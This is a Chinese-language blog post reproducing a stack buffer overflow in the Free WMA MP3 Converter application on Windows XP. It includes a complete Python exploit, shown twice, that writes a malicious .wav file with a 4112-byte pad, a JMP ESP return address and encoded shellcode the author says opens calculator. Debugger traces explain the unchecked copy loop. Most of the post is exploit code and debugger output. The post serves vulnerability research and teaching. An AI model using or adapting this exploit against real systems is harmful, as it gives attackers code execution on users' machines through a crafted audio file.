简介

调试环境

winxp sp3、windbg、ollydbg、IDA
软件下载地址https://www.exploit-db.com/apps/21fdca9b7d302479e989b9d062a276df-FWMCSetup.exe

软件简介

 Free WMA MP3 Converter,Windows系统上,一个免费的媒体格式转换器。

调试简介

 此漏洞发生在FWMCon.exe的sub_4B0FF4函数由于转换文件格式时,复制音频文件时对音频文件的长度没有进行有效检查,从而导致了缓冲区溢出的发生

 这个漏洞是复现学长的漏洞,原文链接见文末。这个漏洞原先调试过一遍,但是第一遍的时候迷迷糊糊的,搞了两天就放弃了,今天看到我同学辉哥的复现学长的博客发现,竟然看懂了,就自己动手复现了一遍。

POC

 学长提供的EXP

import struct
def little_endian(address):
  return struct.pack("<L",address)
poc="\x41" * 4112
eip=little_endian(0x0045CD1A)#0045CD1A   FFE4  JMP ESP
nops="\x90" * 80
shellcode=("\xdb\xd7\xd9\x74\x24\xf4\xb8\x79\xc4\x64\xb7\x33\xc9\xb1\x38"
"\x5d\x83\xc5\x04\x31\x45\x13\x03\x3c\xd7\x86\x42\x42\x3f\xcf"
"\xad\xba\xc0\xb0\x24\x5f\xf1\xe2\x53\x14\xa0\x32\x17\x78\x49"
"\xb8\x75\x68\xda\xcc\x51\x9f\x6b\x7a\x84\xae\x6c\x4a\x08\x7c"
"\xae\xcc\xf4\x7e\xe3\x2e\xc4\xb1\xf6\x2f\x01\xaf\xf9\x62\xda"
"\xa4\xa8\x92\x6f\xf8\x70\x92\xbf\x77\xc8\xec\xba\x47\xbd\x46"
"\xc4\x97\x6e\xdc\x8e\x0f\x04\xba\x2e\x2e\xc9\xd8\x13\x79\x66"
"\x2a\xe7\x78\xae\x62\x08\x4b\x8e\x29\x37\x64\x03\x33\x7f\x42"
"\xfc\x46\x8b\xb1\x81\x50\x48\xc8\x5d\xd4\x4d\x6a\x15\x4e\xb6"
"\x8b\xfa\x09\x3d\x87\xb7\x5e\x19\x8b\x46\xb2\x11\xb7\xc3\x35"
"\xf6\x3e\x97\x11\xd2\x1b\x43\x3b\x43\xc1\x22\x44\x93\xad\x9b"
"\xe0\xdf\x5f\xcf\x93\xbd\x35\x0e\x11\xb8\x70\x10\x29\xc3\xd2"
"\x79\x18\x48\xbd\xfe\xa5\x9b\xfa\xf1\xef\x86\xaa\x99\xa9\x52"
"\xef\xc7\x49\x89\x33\xfe\xc9\x38\xcb\x05\xd1\x48\xce\x42\x55"
"\xa0\xa2\xdb\x30\xc6\x11\xdb\x10\xa5\xaf\x7f\xcc\x43\xa1\x1b"
"\x9d\xe4\x4e\xb8\x32\x72\xc3\x34\xd0\xe9\x10\x87\x46\x91\x37"
"\x8b\x15\x7b\xd2\x2b\xbf\x83")
exploit = poc + eip + nops + shellcode
try:
    rst= open("bof_WMA MP3 Converter.wav",'w')
    rst.write(exploit)
    rst.close()
except:
    print "Error"

 为了方便分析,先简化成POC先

import struct
poc="\x41" * 4112
eip="\x41" * 4
nops="\x41" * 80
shellcode="\x41"*100
exploit = poc + eip + nops + shellcode
try:
    rst= open("bof_WMA MP3 Converter.wav",'w')
    rst.write(exploit)
    rst.close()
except:
    print "Error"

调试分析

 首先用windbg打开Free WMA MP3 Converter程序,输入g命令,运行程序,用程序加载POC文件bof_WMA MP3 Converter.wav,程序崩溃,windbg定位到崩溃现场。

(1f4.108): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=41414141 ecx=000010c8 edx=000010c8 esi=41414141 edi=41414141
eip=41414141 esp=01e3fee8 ebp=41414141 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
41414141 ??              ???

 然后kb看一下栈回溯

0:005> kb
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
01e3fee4 41414141 41414141 41414141 41414141 0x41414141
01e3ffa0 00404172 01e3ffdc 00403cc8 01e3ffb4 0x41414141
01e3ffb4 7c80b713 00ba83cc 00000000 e7ffffff image00400000+0x4172
01e3ffec 00000000 00404148 00ba83cc 00000000 kernel32!GetModuleFileNameA+0x1b4

 可以看出最上层函数的数据明显已经被完全破覆盖了,所以我们从第二个方法开始调试,其返回地址是00404172,我们从IDA中找到它的上一个位置00404170

 重新运行程序,并且用ollydbg在00404170位置设置断点。运行程序,停在00404170位置。

00404170 ffd2 call edx {image00400000+0x21a38 (00421a38)}

 这条指令call了一个00421a38位置的函数,那我们单步步入该函数,不断的单步执行。当运行过

00421a6c ff5204 call dword ptr [edx+4] ds:0023:004ac400=004ad250

的时候程序崩溃,说明问题出在,该条指令调用的004ad250位置的函数中,重新运行程序,并在004ad250处设置断点,进入该函数后,单步执行,重复上述过程,就会一次碰到这些函数

00404170 ffd2            call    edx {image00400000+0x21a38 (00421a38)}
00421a6c ff5204          call    dword ptr [edx+4]    ds:0023:004ac400=004ad250
004ad284 ff523c          call    dword ptr [edx+3Ch]  ds:0023:004b3f6c=004b4274
004b42c1 e8728dffff      call    image00400000+0xad038 (004ad038)
004ad067 ff5244          call    dword ptr [edx+44h]  ds:0023:004aebc0=004ad710
004ad771 ff5268          call    dword ptr [edx+68h]  ds:0023:004aebe4=004af5fc
004af66f e880190000      call    image00400000+0xb0ff4 (004b0ff4)

 当进入最后一个004b0ff4位置的函数时,单步执行就会发现,当代码执行到一个阶段的时候就会不断的循环(这一部分用Ollydbg看会比较明显)。

 这个循环是loc_4b102f,loc_4b14b9,loc_4b14e3这三个函数的互相调用,功能是循环把.wav文件中的数据读入,但是并没有进行文件长度的检查。这个功能可以通过查看ESP中的内容来了解。

 第5轮循环:

0:005> p
eax=00000001 ebx=00000005 ecx=7c80189c edx=00000001 esi=00bb301c edi=00000000
eip=004b14bd esp=0194eec8 ebp=004ac384 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
image00400000+0xb14bd:
004b14bd 7424            je      image00400000+0xb14e3 (004b14e3)        [br=0]
0:005> dd esp
0194eec8  00000000 00000000 00000000 41414141
0194eed8  00000041 00000000 00000000 00000000
0194eee8  00000000 00000000 00000000 00000000
0194eef8  00000000 00000000 00000000 00000000
0194ef08  00000000 00000000 00000000 00000000
0194ef18  00000000 00000000 00000000 00000000
0194ef28  00000000 00000000 00000000 00000000
0194ef38  00000000 00000000 00000000 00000000

 第6轮循环:

0:005> p
eax=00000001 ebx=00000006 ecx=7c80189c edx=00000001 esi=00bb301c edi=00000000
eip=004b14bd esp=0194eec8 ebp=004ac384 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
image00400000+0xb14bd:
004b14bd 7424            je      image00400000+0xb14e3 (004b14e3)        [br=0]
0:005> dd esp
0194eec8  00000000 00000000 00000000 41414141
0194eed8  00004141 00000000 00000000 00000000
0194eee8  00000000 00000000 00000000 00000000
0194eef8  00000000 00000000 00000000 00000000
0194ef08  00000000 00000000 00000000 00000000
0194ef18  00000000 00000000 00000000 00000000
0194ef28  00000000 00000000 00000000 00000000
0194ef38  00000000 00000000 00000000 00000000

 从上面的信息可以看出,每执行一轮,就会读入一个字符,并且EBX会记录执行的次数,就是读入的的字符数目。

 使用条件断点,执行到文件末尾的位置。从POC中可以看出.wav文件的长度是(4112+4+80+100)=4296=10C8H,所以我们可以设置到EBX=10C4的位置。
bp 004b14e9 ".if(ebx==10c4){;}.else{g;}

 下面是执行记录

0:005> bp 004b14e9 ".if(ebx==10c4){;}.else{g;}"
0:005> dd esp
0194eec8  00000000 00000000 00000000 41414141
0194eed8  00004141 00000000 00000000 00000000
0194eee8  00000000 00000000 00000000 00000000
0194eef8  00000000 00000000 00000000 00000000
0194ef08  00000000 00000000 00000000 00000000
0194ef18  00000000 00000000 00000000 00000000
0194ef28  00000000 00000000 00000000 00000000
0194ef38  00000000 00000000 00000000 00000000
0:005> g
eax=00000000 ebx=000010c4 ecx=000010c4 edx=000010c8 esi=00bb301c edi=00000000
eip=004b14e9 esp=0194eec8 ebp=004ac384 iopl=0         nv up ei ng nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000283
image00400000+0xb14e9:
004b14e9 0f8c40fbffff    jl      image00400000+0xb102f (004b102f)        [br=1]
0:005> dd esp
0194eec8  00000000 00000000 00000000 41414141
0194eed8  41414141 41414141 41414141 41414141
0194eee8  41414141 41414141 41414141 41414141
0194eef8  41414141 41414141 41414141 41414141
0194ef08  41414141 41414141 41414141 41414141
0194ef18  41414141 41414141 41414141 41414141
0194ef28  41414141 41414141 41414141 41414141
0194ef38  41414141 41414141 41414141 41414141

 可以明显看出,此时站空间已经被完全覆盖了。而且上面循环拷贝的三个函数loc_4b102f,loc_4b14b9,loc_4b14e3,均处于004b0ff4函数中,那么该函数就是漏洞函数。

漏洞利用

 上面是确定,漏洞的位置和漏洞的成因,接下来分析怎么利用,就是分析文章开头提供的EXP。
 在IDA中查找004b0ff4位置。

 图中箭头所指的参数的含义是,该函数从栈底1010h处开始存储变量。所以该位置到EBP的偏移是1010H,即4112个字符,就是EXP中的poc="\x41" * 4112,填充完字符以后,紧接着的四个字符的位置就是返回地址的位置,该EXP使用的是jmp esp的方法,所以后面的字符指向FFE4中的jmp esp的位置。

 shellcode的作用是弹出计算器,nops抬高栈顶,保护shellcode。但是这里我在实际运行的时候出现了一个问题,就是当nops的数量设置为10~30的时候会弹出计算器,并且崩溃,当0~10或者30~80的时候,就只是崩溃,应该是shellcode被破坏了。具体的情况还有待探究。

 所以我最后的EXP是

import struct
def little_endian(address):
  return struct.pack("<L",address)
poc="\x41" * 4112
eip=little_endian(0x0045CD1A)#0045CD1A   FFE4  JMP ESP
nops="\x90" * 20
shellcode=("\xdb\xd7\xd9\x74\x24\xf4\xb8\x79\xc4\x64\xb7\x33\xc9\xb1\x38"
"\x5d\x83\xc5\x04\x31\x45\x13\x03\x3c\xd7\x86\x42\x42\x3f\xcf"
"\xad\xba\xc0\xb0\x24\x5f\xf1\xe2\x53\x14\xa0\x32\x17\x78\x49"
"\xb8\x75\x68\xda\xcc\x51\x9f\x6b\x7a\x84\xae\x6c\x4a\x08\x7c"
"\xae\xcc\xf4\x7e\xe3\x2e\xc4\xb1\xf6\x2f\x01\xaf\xf9\x62\xda"
"\xa4\xa8\x92\x6f\xf8\x70\x92\xbf\x77\xc8\xec\xba\x47\xbd\x46"
"\xc4\x97\x6e\xdc\x8e\x0f\x04\xba\x2e\x2e\xc9\xd8\x13\x79\x66"
"\x2a\xe7\x78\xae\x62\x08\x4b\x8e\x29\x37\x64\x03\x33\x7f\x42"
"\xfc\x46\x8b\xb1\x81\x50\x48\xc8\x5d\xd4\x4d\x6a\x15\x4e\xb6"
"\x8b\xfa\x09\x3d\x87\xb7\x5e\x19\x8b\x46\xb2\x11\xb7\xc3\x35"
"\xf6\x3e\x97\x11\xd2\x1b\x43\x3b\x43\xc1\x22\x44\x93\xad\x9b"
"\xe0\xdf\x5f\xcf\x93\xbd\x35\x0e\x11\xb8\x70\x10\x29\xc3\xd2"
"\x79\x18\x48\xbd\xfe\xa5\x9b\xfa\xf1\xef\x86\xaa\x99\xa9\x52"
"\xef\xc7\x49\x89\x33\xfe\xc9\x38\xcb\x05\xd1\x48\xce\x42\x55"
"\xa0\xa2\xdb\x30\xc6\x11\xdb\x10\xa5\xaf\x7f\xcc\x43\xa1\x1b"
"\x9d\xe4\x4e\xb8\x32\x72\xc3\x34\xd0\xe9\x10\x87\x46\x91\x37"
"\x8b\x15\x7b\xd2\x2b\xbf\x83")
exploit = poc + eip + nops + shellcode
try:
    rst= open("bof_WMA MP3 Converter.wav",'w')
    rst.write(exploit)
    rst.close()
except:
    print "Error"

参考

学长的博客原文.

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖